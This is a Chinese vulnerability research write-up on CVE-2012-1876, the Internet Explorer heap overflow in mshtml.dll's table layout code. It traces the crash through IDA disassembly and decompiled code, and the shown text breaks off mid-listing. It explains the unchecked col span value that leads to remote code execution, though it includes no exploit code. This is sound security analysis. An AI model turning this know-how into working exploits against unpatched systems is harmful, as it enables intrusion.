CVE-2012-1876 漏洞研究

7erry

法国安全团队 Vupen 在 Pwn2Own 2012 利用两个 0day 漏洞攻下了 Windows 7 中的 IE9。这两个 0day 漏洞分别为 IE 沙盒 Bypass 漏洞和 IE 堆溢出漏洞,其中后者根据大赛规定被提交给了微软,并随着 MS12-037 公告的发布而被修复。它的成因为 mshtml.dll 中的 CTableLayout::CalculateMinMax 函数在以 col 标签的 span 属性值为循环次数向堆内存中写入数据时,未对 span 进行有效的校验,若 span 值设置不当就会导致堆溢出进而 RCE。

mshtml.dll 是 IE 中的重要组件,负责解析页面中的 HTML 和 CSS。不少知名漏洞都与它有关,关于 IE 主要组件的更多细节可参阅 Internet Explorer Architecture

影响范围:

IE 版本
Microsoft Internet Explorer 6 ~ 9

操作系统
Microsoft Windows XP
Microsoft Windows Server 2003
Microsoft Windows Vista
Microsoft Windows 7

漏洞分析

开启子进程调试与页堆,调试运行 IE 并打开样本后程序因触发 Access Violation 异常而崩溃。崩溃函数为 mshtml.dll 内的 CTableColCalc::AdjustForCol 函数,崩溃点为 mov dword ptr [edi],ecx。对 edi 进行污点分析发现污点源为 esi,同时崩溃函数内未发现 esi 的赋值语句,故应来自于崩溃函数的主调函数。栈回溯发现其主调函数为 CTableLayout::CalculateMinMax 函数。

使用 IDA 打开 mshtml.dll 并下载符号表,定位到 CTableColCalc::AdjustForCol 函数,其反汇编代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
.text:75050A1A
.text:75050A1A ; =============== S U B R O U T I N E =======================================
.text:75050A1A
.text:75050A1A ; Attributes: bp-based frame
.text:75050A1A
.text:75050A1A ; void __userpurge CTableColCalc::AdjustForCol(_DWORD *@<eax>, _DWORD *@<esi>, const struct CWidthUnitValue *, int, struct CCalcInfo *, int)
.text:75050A1A ?AdjustForCol@CTableColCalc@@QAEXPBVCWidthUnitValue@@HPAVCCalcInfo@@H@Z proc near
.text:75050A1A ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1953FD↑p
.text:75050A1A
.text:75050A1A arg_0= dword ptr 8
.text:75050A1A arg_4= dword ptr 0Ch
.text:75050A1A arg_8= dword ptr 10h
.text:75050A1A
.text:75050A1A 8B FF mov edi, edi
.text:75050A1C 55 push ebp
.text:75050A1D 8B EC mov ebp, esp
.text:75050A1F 8B 08 mov ecx, [eax]
.text:75050A21 53 push ebx
.text:75050A22 8B 5D 08 mov ebx, [ebp+arg_0]
.text:75050A25 57 push edi
.text:75050A26 8B C1 mov eax, ecx
.text:75050A28 83 E0 0F and eax, 0Fh
.text:75050A2B 8D 7E 18 lea edi, [esi+18h]
.text:75050A2E 50 push eax
.text:75050A2F 89 0F mov [edi], ecx //* Crash Point
.text:75050A31 E8 D3 C3 DA FF call ?IsScalerUnit@CUnitValue@@SGHW4UNITVALUETYPE@1@@Z ; CUnitValue::IsScalerUnit(CUnitValue::UNITVALUETYPE)
.text:75050A31
.text:75050A36 85 C0 test eax, eax
.text:75050A38 74 11 jz short loc_75050A4B
.text:75050A38
.text:75050A3A 6A 08 push 8
.text:75050A3C 57 push edi
.text:75050A3D 8B C3 mov eax, ebx
.text:75050A3F E8 3D AC BD FF call ?SetValue@CUnitValue@@QAEJJW4UNITVALUETYPE@1@@Z ; CUnitValue::SetValue(long,CUnitValue::UNITVALUETYPE)
.text:75050A3F
.text:75050A44 89 5E 04 mov [esi+4], ebx
.text:75050A47 89 1E mov [esi], ebx
.text:75050A49 EB 2A jmp short loc_75050A75
.text:75050A49
.text:75050A4B ; ---------------------------------------------------------------------------
.text:75050A4B
.text:75050A4B loc_75050A4B: ; CODE XREF: CTableColCalc::AdjustForCol(CWidthUnitValue const *,int,CCalcInfo *,int)+1E↑j
.text:75050A4B 83 7D 10 01 cmp [ebp+arg_8], 1
.text:75050A4F 74 15 jz short loc_75050A66
.text:75050A4F
.text:75050A51 8B C1 mov eax, ecx
.text:75050A53 C1 F8 04 sar eax, 4
.text:75050A56 99 cdq
.text:75050A57 6A 64 push 64h ; 'd'
.text:75050A59 59 pop ecx ; this
.text:75050A5A F7 F9 idiv ecx
.text:75050A5C 57 push edi ; int
.text:75050A5D 99 cdq
.text:75050A5E F7 7D 10 idiv [ebp+arg_8]
.text:75050A61 E8 CD 37 F3 FF call ?SetPercent@CUnitValue@@QAEXJ@Z ; CUnitValue::SetPercent(long)
.text:75050A61
.text:75050A66
.text:75050A66 loc_75050A66: ; CODE XREF: CTableColCalc::AdjustForCol(CWidthUnitValue const *,int,CCalcInfo *,int)+35↑j
.text:75050A66 8B 45 0C mov eax, [ebp+arg_4]
.text:75050A69 C7 06 01 00 00 00 mov dword ptr [esi], 1
.text:75050A6F 8B 40 10 mov eax, [eax+10h]
.text:75050A72 89 46 04 mov [esi+4], eax
.text:75050A72
.text:75050A75
.text:75050A75 loc_75050A75: ; CODE XREF: CTableColCalc::AdjustForCol(CWidthUnitValue const *,int,CCalcInfo *,int)+2F↑j
.text:75050A75 5F pop edi
.text:75050A76 89 5E 08 mov [esi+8], ebx
.text:75050A79 5B pop ebx
.text:75050A7A 5D pop ebp
.text:75050A7B C2 0C 00 retn 0Ch
.text:75050A7B
.text:75050A7B ?AdjustForCol@CTableColCalc@@QAEXPBVCWidthUnitValue@@HPAVCCalcInfo@@H@Z endp
.text:75050A7B
.text:75050A7B ; ---------------------------------------------------------------------------

其反编译代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __userpurge CTableColCalc::AdjustForCol(
_DWORD *a1@<eax>,
_DWORD *a2@<esi>,
const struct CWidthUnitValue *a3,
int a4,
struct CCalcInfo *a5,
int a6)
{
int v7; // [esp-4h] [ebp-Ch]

v7 = *a1 & 0xF;
a2[6] = *a1; //* Crash Point
if ( CUnitValue::IsScalerUnit(v7) )
{
CUnitValue::SetValue(a2 + 6, 8);
a2[1] = a3;
*a2 = a3;
}
else
{
if ( a5 != (struct CCalcInfo *)1 )
CUnitValue::SetPercent((CUnitValue *)0x64, (int)(a2 + 6));
*a2 = 1;
a2[1] = *(_DWORD *)(a4 + 16);
}
a2[2] = a3;
}

观察 CTableColCalc::AdjustForCol 函数的代码逻辑不难判断出 Crash Point 处触发的 Access Violation 异常其实和这个函数本身没有太大关系,问题发生在崩溃函数得到的参数上。再定位到 CTableLayout::CalculateMinMax 函数,其反汇编代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
.text:74D2A078
.text:74D2A078 ; =============== S U B R O U T I N E =======================================
.text:74D2A078
.text:74D2A078 ; Attributes: bp-based frame
.text:74D2A078
.text:74D2A078 ; void __thiscall CTableLayout::CalculateMinMax(CTableLayout *this, struct CTableCalcInfo *, struct tagSIZE *, int)
.text:74D2A078 ?CalculateMinMax@CTableLayout@@QAEXPAVCTableCalcInfo@@H@Z proc near
.text:74D2A078 ; CODE XREF: CTableLayout::CalcSizeVirtual(CCalcInfo *,tagSIZE *,tagSIZE *)-F2696↑p
.text:74D2A078 ; CTableLayout::CalculateLayout(CTableCalcInfo *,CSize *,int,int)+15C↓p
.text:74D2A078 ; CTableLayoutBlock::CalculateLayout(CTableCalcInfo *,CSize *,int,int)+3A4↓p
.text:74D2A078
.text:74D2A078 var_94= dword ptr -94h
.text:74D2A078 var_90= dword ptr -90h
.text:74D2A078 var_8C= dword ptr -8Ch
.text:74D2A078 var_88= dword ptr -88h
.text:74D2A078 var_84= dword ptr -84h
.text:74D2A078 var_7C= dword ptr -7Ch
.text:74D2A078 var_78= dword ptr -78h
.text:74D2A078 var_74= dword ptr -74h
.text:74D2A078 var_70= dword ptr -70h
.text:74D2A078 var_6C= dword ptr -6Ch
.text:74D2A078 var_68= dword ptr -68h
.text:74D2A078 var_64= dword ptr -64h
.text:74D2A078 var_60= dword ptr -60h
.text:74D2A078 var_5C= dword ptr -5Ch
.text:74D2A078 var_58= dword ptr -58h
.text:74D2A078 var_54= dword ptr -54h
.text:74D2A078 var_50= dword ptr -50h
.text:74D2A078 var_4C= dword ptr -4Ch
.text:74D2A078 var_48= dword ptr -48h
.text:74D2A078 var_44= dword ptr -44h
.text:74D2A078 var_40= dword ptr -40h
.text:74D2A078 var_3C= dword ptr -3Ch
.text:74D2A078 var_38= dword ptr -38h
.text:74D2A078 var_34= dword ptr -34h
.text:74D2A078 var_30= dword ptr -30h
.text:74D2A078 var_2C= dword ptr -2Ch
.text:74D2A078 var_28= dword ptr -28h
.text:74D2A078 var_24= dword ptr -24h
.text:74D2A078 var_20= dword ptr -20h
.text:74D2A078 var_1C= dword ptr -1Ch
.text:74D2A078 var_18= dword ptr -18h
.text:74D2A078 var_14= dword ptr -14h
.text:74D2A078 var_10= dword ptr -10h
.text:74D2A078 var_C= dword ptr -0Ch
.text:74D2A078 var_8= dword ptr -8
.text:74D2A078 arg_0= dword ptr 8
.text:74D2A078 arg_4= dword ptr 0Ch
.text:74D2A078 arg_8= dword ptr 10h
.text:74D2A078
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C2D451 SIZE 0000006D BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C74ADE SIZE 00000015 BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C75092 SIZE 00000058 BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C75404 SIZE 0000000F BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C75578 SIZE 00000008 BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C81C6F SIZE 0000000B BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C82115 SIZE 0000000E BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74C82AE0 SIZE 0000018F BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74D02AE1 SIZE 0000000D BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74D2B8C6 SIZE 0000001D BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74D2BA60 SIZE 0000020F BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74D31F0E SIZE 0000000E BYTES
.text:74D2A078 ; FUNCTION CHUNK AT .text:74EBF1D0 SIZE 000006AB BYTES
.text:74D2A078
.text:74D2A078 8B FF mov edi, edi
.text:74D2A07A 55 push ebp
.text:74D2A07B 8B EC mov ebp, esp
.text:74D2A07D 81 EC 98 00 00 00 sub esp, 98h
.text:74D2A083 53 push ebx ; struct tagSIZE *
.text:74D2A084 8B 5D 08 mov ebx, [ebp+arg_0]
.text:74D2A087 56 push esi ; struct CTableCalcInfo *
.text:74D2A088 8B 75 0C mov esi, [ebp+arg_4]
.text:74D2A08B 8B 46 28 mov eax, [esi+28h]
.text:74D2A08E 89 85 70 FF FF FF mov [ebp+var_90], eax
.text:74D2A094 8B 43 54 mov eax, [ebx+54h]
.text:74D2A097 89 45 08 mov [ebp+arg_0], eax
.text:74D2A09A 8B 83 28 01 00 00 mov eax, [ebx+128h]
.text:74D2A0A0 C1 E8 02 shr eax, 2
.text:74D2A0A3 89 45 B8 mov [ebp+var_48], eax
.text:74D2A0A6 57 push edi ; void *
.text:74D2A0A7 33 FF xor edi, edi
.text:74D2A0A9 8D 45 94 lea eax, [ebp+var_6C]
.text:74D2A0AC 50 push eax
.text:74D2A0AD 8B C3 mov eax, ebx
.text:74D2A0AF 89 7D D8 mov [ebp+var_28], edi
.text:74D2A0B2 89 7D DC mov [ebp+var_24], edi
.text:74D2A0B5 89 7D F8 mov [ebp+var_8], edi
.text:74D2A0B8 89 7D CC mov [ebp+var_34], edi
.text:74D2A0BB E8 08 0D 00 00 call ?GetSpecifiedPixelWidth@CTableLayout@@QAEJPAVCTableCalcInfo@@PAH@Z ; CTableLayout::GetSpecifiedPixelWidth(CTableCalcInfo *,int *)
.text:74D2A0BB
.text:74D2A0C0 89 45 B4 mov [ebp+var_4C], eax
.text:74D2A0C3 33 C0 xor eax, eax
.text:74D2A0C5 89 7D D4 mov [ebp+var_2C], edi
.text:74D2A0C8 8D BD 78 FF FF FF lea edi, [ebp+var_88]
.text:74D2A0CE AB stosd
.text:74D2A0CF AB stosd
.text:74D2A0D0 AB stosd
.text:74D2A0D1 AB stosd
.text:74D2A0D2 8B 43 08 mov eax, [ebx+8]
.text:74D2A0D5 89 45 A8 mov [ebp+var_58], eax
.text:74D2A0D8 8B 43 44 mov eax, [ebx+44h]
.text:74D2A0DB C1 E8 09 shr eax, 9
.text:74D2A0DE 83 E0 01 and eax, 1
.text:74D2A0E1 83 7D 08 00 cmp [ebp+arg_0], 0
.text:74D2A0E5 C7 85 78 FF FF FF 94 A5 C2 74 mov [ebp+var_88], offset ??_7CAryAutomationRules@CStyleSheet@@6B@ ; const CStyleSheet::CAryAutomationRules::`vftable'
.text:74D2A0EF 89 45 C8 mov [ebp+var_38], eax
.text:74D2A0F2 0F 84 D8 50 19 00 jz loc_74EBF1D0
.text:74D2A0F2
.text:74D2A0F8 8B 45 08 mov eax, [ebp+arg_0]
.text:74D2A0FB 8D 0C 00 lea ecx, [eax+eax]
.text:74D2A0FE B8 FF FF FF 7F mov eax, 7FFFFFFFh
.text:74D2A103 99 cdq
.text:74D2A104 F7 F9 idiv ecx
.text:74D2A106 89 45 90 mov [ebp+var_70], eax
.text:74D2A106
.text:74D2A109
.text:74D2A109 loc_74D2A109: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+19515F↓j
.text:74D2A109 8B 75 A8 mov esi, [ebp+var_58]
.text:74D2A10C F7 46 1C 00 02 00 00 test dword ptr [esi+1Ch], 200h
.text:74D2A113 74 17 jz short loc_74D2A12C
.text:74D2A113
.text:74D2A115 8B CE mov ecx, esi ; this
.text:74D2A117 E8 81 DC 0A 00 call ?GetMarkupPtr@CElement@@QBEPAVCMarkup@@XZ ; CElement::GetMarkupPtr(void)
.text:74D2A117
.text:74D2A11C 81 B8 C0 00 00 00 70 11 01 00 cmp dword ptr [eax+0C0h], 11170h
.text:74D2A126 0F 8D E9 7F F5 FF jge loc_74C82115
.text:74D2A126
.text:74D2A12C
.text:74D2A12C loc_74D2A12C: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+9B↑j
.text:74D2A12C 33 FF xor edi, edi
.text:74D2A12E 89 7D A0 mov [ebp+var_60], edi
.text:74D2A12E
.text:74D2A131
.text:74D2A131 loc_74D2A131: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-A7F5A↑j
.text:74D2A131 39 7D B4 cmp [ebp+var_4C], edi
.text:74D2A134 0F 85 35 7B F5 FF jnz loc_74C81C6F
.text:74D2A134
.text:74D2A13A 39 7D 94 cmp [ebp+var_6C], edi
.text:74D2A13D 0F 85 2C 7B F5 FF jnz loc_74C81C6F
.text:74D2A13D
.text:74D2A143 8B 4E 14 mov ecx, [esi+14h] ; this
.text:74D2A146 E8 CE 10 0F 00 call ?GetFancyFormat@CTreeNode@@QAEPBVCFancyFormat@@XZ ; CTreeNode::GetFancyFormat(void)
.text:74D2A146
.text:74D2A14B F6 00 20 test byte ptr [eax], 20h
.text:74D2A14E 0F 85 1B 7B F5 FF jnz loc_74C81C6F
.text:74D2A14E
.text:74D2A154 8B 75 0C mov esi, [ebp+arg_4]
.text:74D2A157 39 BB 00 01 00 00 cmp [ebx+100h], edi
.text:74D2A15D 0F 85 79 50 19 00 jnz loc_74EBF1DC
.text:74D2A15D
.text:74D2A163
.text:74D2A163 loc_74D2A163: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195170↓j
.text:74D2A163 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195189↓j
.text:74D2A163 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195196↓j
.text:74D2A163 ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1951A7↓j
.text:74D2A163 33 C0 xor eax, eax
.text:74D2A165 39 7D B4 cmp [ebp+var_4C], edi
.text:74D2A168 0F 95 C0 setnz al
.text:74D2A16B 89 45 94 mov [ebp+var_6C], eax
.text:74D2A16B
.text:74D2A16E
.text:74D2A16E loc_74D2A16E: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-A8403↑j
.text:74D2A16E 56 push esi
.text:74D2A16F 53 push ebx ; struct CDocInfo *
.text:74D2A170 C7 46 28 03 00 00 00 mov dword ptr [esi+28h], 3
.text:74D2A177 E8 78 F4 FF FF call ?CalculateBorderAndSpacing@CTableLayout@@QAEXPAVCDocInfo@@@Z ; CTableLayout::CalculateBorderAndSpacing(CDocInfo *)
.text:74D2A177
.text:74D2A17C 8B 45 A8 mov eax, [ebp+var_58]
.text:74D2A17F 89 7B 58 mov [ebx+58h], edi
.text:74D2A182 89 7B 60 mov [ebx+60h], edi
.text:74D2A185 89 7D AC mov [ebp+var_54], edi
.text:74D2A188 89 7D B0 mov [ebp+var_50], edi
.text:74D2A18B 89 BB E0 00 00 00 mov [ebx+0E0h], edi
.text:74D2A191 E8 CB F8 FF FF call ?GetAAcols@CTable@@QBEHXZ ; CTable::GetAAcols(void)
.text:74D2A191
.text:74D2A196 39 45 08 cmp [ebp+arg_0], eax
.text:74D2A199 8B 4D 08 mov ecx, [ebp+arg_0]
.text:74D2A19C 7C 02 jl short loc_74D2A1A0
.text:74D2A19C
.text:74D2A19E 8B C8 mov ecx, eax
.text:74D2A19E
.text:74D2A1A0
.text:74D2A1A0 loc_74D2A1A0: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+124↑j
.text:74D2A1A0 8B 55 08 mov edx, [ebp+arg_0]
.text:74D2A1A3 8B C2 mov eax, edx
.text:74D2A1A5 2B C1 sub eax, ecx
.text:74D2A1A7 89 45 E4 mov [ebp+var_1C], eax
.text:74D2A1AA 6A 00 push 0
.text:74D2A1AC 58 pop eax
.text:74D2A1AD 0F 94 C0 setz al
.text:74D2A1B0 89 4B 50 mov [ebx+50h], ecx
.text:74D2A1B3 C1 E0 08 shl eax, 8
.text:74D2A1B6 33 43 44 xor eax, [ebx+44h]
.text:74D2A1B9 25 00 01 00 00 and eax, 100h
.text:74D2A1BE 31 43 44 xor [ebx+44h], eax
.text:74D2A1C1 F6 46 2C 01 test byte ptr [esi+2Ch], 1
.text:74D2A1C5 0F 85 59 50 19 00 jnz loc_74EBF224
.text:74D2A1C5
.text:74D2A1CB
.text:74D2A1CB loc_74D2A1CB: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1951AE↓j
.text:74D2A1CB 33 C0 xor eax, eax
.text:74D2A1CB
.text:74D2A1CD
.text:74D2A1CD loc_74D2A1CD: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1951B7↓j
.text:74D2A1CD 09 45 C8 or [ebp+var_38], eax
.text:74D2A1D0 39 7D 10 cmp [ebp+arg_8], edi
.text:74D2A1D3 0F 85 5B 50 19 00 jnz loc_74EBF234
.text:74D2A1D3
.text:74D2A1D9 8B 83 94 00 00 00 mov eax, [ebx+94h]
.text:74D2A1DF C1 E8 02 shr eax, 2
.text:74D2A1E2 3B C2 cmp eax, edx
.text:74D2A1E4 7D 39 jge short loc_74D2A21F
.text:74D2A1E4
.text:74D2A1E6 3B D7 cmp edx, edi
.text:74D2A1E8 8D B3 90 00 00 00 lea esi, [ebx+90h]
.text:74D2A1EE 0F 8C 86 32 F0 FF jl loc_74C2D47A
.text:74D2A1EE
.text:74D2A1F4 3B 56 08 cmp edx, [esi+8]
.text:74D2A1F7 76 13 jbe short loc_74D2A20C
.text:74D2A1F7
.text:74D2A1F9 6A 1C push 1Ch
.text:74D2A1FB 8B C2 mov eax, edx
.text:74D2A1FD 8B FE mov edi, esi
.text:74D2A1FF E8 9A 92 0C 00 call ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z ; CImplAry::EnsureSizeWorker(uint,long)
.text:74D2A1FF
.text:74D2A204
.text:74D2A204 loc_74D2A204: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)-FCBF9↑j
.text:74D2A204 85 C0 test eax, eax
.text:74D2A206 0F 85 AC 02 00 00 jnz loc_74D2A4B8
.text:74D2A206
.text:74D2A20C
.text:74D2A20C loc_74D2A20C: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+17F↑j
.text:74D2A20C 8B 46 04 mov eax, [esi+4]
.text:74D2A20F 8B 4D 08 mov ecx, [ebp+arg_0]
.text:74D2A212 83 E0 03 and eax, 3
.text:74D2A215 C1 E1 02 shl ecx, 2 ; this
.text:74D2A218 0B C1 or eax, ecx
.text:74D2A21A 89 46 04 mov [esi+4], eax
.text:74D2A21D 33 FF xor edi, edi
.text:74D2A21D
.text:74D2A21F
.text:74D2A21F loc_74D2A21F: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+16C↑j
.text:74D2A21F 39 7D 08 cmp [ebp+arg_0], edi
.text:74D2A222 8B B3 9C 00 00 00 mov esi, [ebx+9Ch]
.text:74D2A228 89 7D EC mov [ebp+var_14], edi
.text:74D2A22B 89 75 D8 mov [ebp+var_28], esi
.text:74D2A22E 7E 3B jle short loc_74D2A26B
.text:74D2A22E
.text:74D2A230
.text:74D2A230 loc_74D2A230: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1EE↓j
.text:74D2A230 8D 46 18 lea eax, [esi+18h]
.text:74D2A233 50 push eax
.text:74D2A234 89 7E 08 mov [esi+8], edi
.text:74D2A237 89 7E 04 mov [esi+4], edi
.text:74D2A23A 89 3E mov [esi], edi
.text:74D2A23C E8 10 2A 02 00 call ?SetNull@CUnitValue@@QAEXXZ ; CUnitValue::SetNull(void)
.text:74D2A23C
.text:74D2A241 8B 4D EC mov ecx, [ebp+var_14] ; this
.text:74D2A244 83 66 14 C1 and dword ptr [esi+14h], 0FFFFFFC1h
.text:74D2A248 8B C3 mov eax, ebx
.text:74D2A24A 89 7E 0C mov [esi+0Ch], edi
.text:74D2A24D E8 4F F0 01 00 call ?GetCol@CTableLayout@@QAEPAVCTableCol@@H@Z ; CTableLayout::GetCol(int)
.text:74D2A24D
.text:74D2A252 3B C7 cmp eax, edi
.text:74D2A254 0F 85 17 50 19 00 jnz loc_74EBF271
.text:74D2A254
.text:74D2A25A
.text:74D2A25A loc_74D2A25A: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195200↓j
.text:74D2A25A ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+19520A↓j
.text:74D2A25A FF 45 EC inc [ebp+var_14]
.text:74D2A25D 8B 45 EC mov eax, [ebp+var_14]
.text:74D2A260 83 C6 1C add esi, 1Ch
.text:74D2A263 3B 45 08 cmp eax, [ebp+arg_0]
.text:74D2A266 7C C8 jl short loc_74D2A230
.text:74D2A266
.text:74D2A268 89 75 D8 mov [ebp+var_28], esi
.text:74D2A268
.text:74D2A26B
.text:74D2A26B loc_74D2A26B: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1B6↑j
.text:74D2A26B 8B 43 08 mov eax, [ebx+8]
.text:74D2A26E 39 78 30 cmp [eax+30h], edi
.text:74D2A271 0F 85 10 50 19 00 jnz loc_74EBF287
.text:74D2A271
.text:74D2A277 81 63 44 FF FF DF FF and dword ptr [ebx+44h], 0FFDFFFFFh
.text:74D2A277
.text:74D2A27E
.text:74D2A27E loc_74D2A27E: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+19523C↓j
.text:74D2A27E ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+19524C↓j
.text:74D2A27E F7 43 44 00 20 00 00 test dword ptr [ebx+44h], 2000h
.text:74D2A285 0F 85 55 88 F5 FF jnz loc_74C82AE0
.text:74D2A285
.text:74D2A28B 8B 45 B8 mov eax, [ebp+var_48]
.text:74D2A28E 89 45 E0 mov [ebp+var_20], eax
.text:74D2A291 8B 83 30 01 00 00 mov eax, [ebx+130h]
.text:74D2A297 8B 7D E0 mov edi, [ebp+var_20]
.text:74D2A297
.text:74D2A29A
.text:74D2A29A loc_74D2A29A: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1951F4↓j
.text:74D2A29A 83 BB 00 01 00 00 1A cmp dword ptr [ebx+100h], 1Ah
.text:74D2A2A1 89 45 EC mov [ebp+var_14], eax
.text:74D2A2A4 0F 8F FD 51 19 00 jg loc_74EBF4A7
.text:74D2A2A4
.text:74D2A2AA 83 4B 44 20 or dword ptr [ebx+44h], 20h
.text:74D2A2AE 85 FF test edi, edi
.text:74D2A2B0 0F 8E 16 01 00 00 jle loc_74D2A3CC
.text:74D2A2B0
.text:74D2A2B6
.text:74D2A2B6 loc_74D2A2B6: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+318↓j
.text:74D2A2B6 8B 45 EC mov eax, [ebp+var_14]
.text:74D2A2B9 8B 00 mov eax, [eax]
.text:74D2A2BB E8 B2 AC 00 00 call ?RowLayoutCache@CTableRow@@QAEPAVCTableRowLayout@@PAVCLayoutContext@@@Z ; CTableRow::RowLayoutCache(CLayoutContext *)
.text:74D2A2BB
.text:74D2A2C0 89 45 9C mov [ebp+var_64], eax
.text:74D2A2C3 85 C0 test eax, eax
.text:74D2A2C5 0F 84 BA 00 00 00 jz loc_74D2A385
.text:74D2A2C5
.text:74D2A2CB 8B F0 mov esi, eax
.text:74D2A2CD 8B 46 40 mov eax, [esi+40h]
.text:74D2A2D0 C1 E8 02 shr eax, 2
.text:74D2A2D3 3B 45 08 cmp eax, [ebp+arg_0]
.text:74D2A2D6 0F 8C EA 51 19 00 jl loc_74EBF4C6
.text:74D2A2D6
.text:74D2A2DC
.text:74D2A2DC loc_74D2A2DC: ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+195457↓j
.text:74D2A2DC 8D 46 50 lea eax, [esi+50h]
.text:74D2A2DF 50 push eax
.text:74D2A2E0 E8 6C 29 02 00 call ?SetNull@CUnitValue@@QAEXXZ ; CUnitValue::SetNull(void)
.text:74D2A2E0
.text:74D2A2E5 8B 46 48 mov eax, [esi+48h]
.text:74D2A2E8 89 45 C0 mov [ebp+var_40], eax
.text:74D2A2EB 8B 46 08 mov eax, [esi+8]
.text:74D2A2EE 8B 40 14 mov eax, [eax+14h]
.text:74D2A2F1 E8 27 2E 0E 00 call ?GetCharFormat@CTreeNode@@QAEPBVCCharFormat@@XZ ; CTreeNode::GetCharFormat(void)
.text:74D2A2F1
.text:74D2A2F6 0F B7 00 movzx eax, word ptr [eax]
.text:74D2A2F9 8B 7D EC mov edi, [ebp+var_14]
.text:74D2A2FC 8B 75 0C mov esi, [ebp+arg_4]
.text:74D2A2FF C1 E8 05 shr eax, 5
.text:74D2A302 83 E0 01 and eax, 1
.text:74D2A305 89 85 6C FF FF FF mov [ebp+var_94], eax
.text:74D2A30B 8B 07 mov eax, [edi]
.text:74D2A30D 89 86 88 00 00 00 mov [esi+88h], eax
.text:74D2A313 8B 07 mov eax, [edi]
.text:74D2A315 8B 48 14 mov ecx, [eax+14h] ; this
.text:74D2A318 E8 FC 0E 0F 00 call ?GetFancyFormat@CTreeNode@@QAEPBVCFancyFormat@@XZ ; CTreeNode::GetFancyFormat(void)
.text:74D2A318
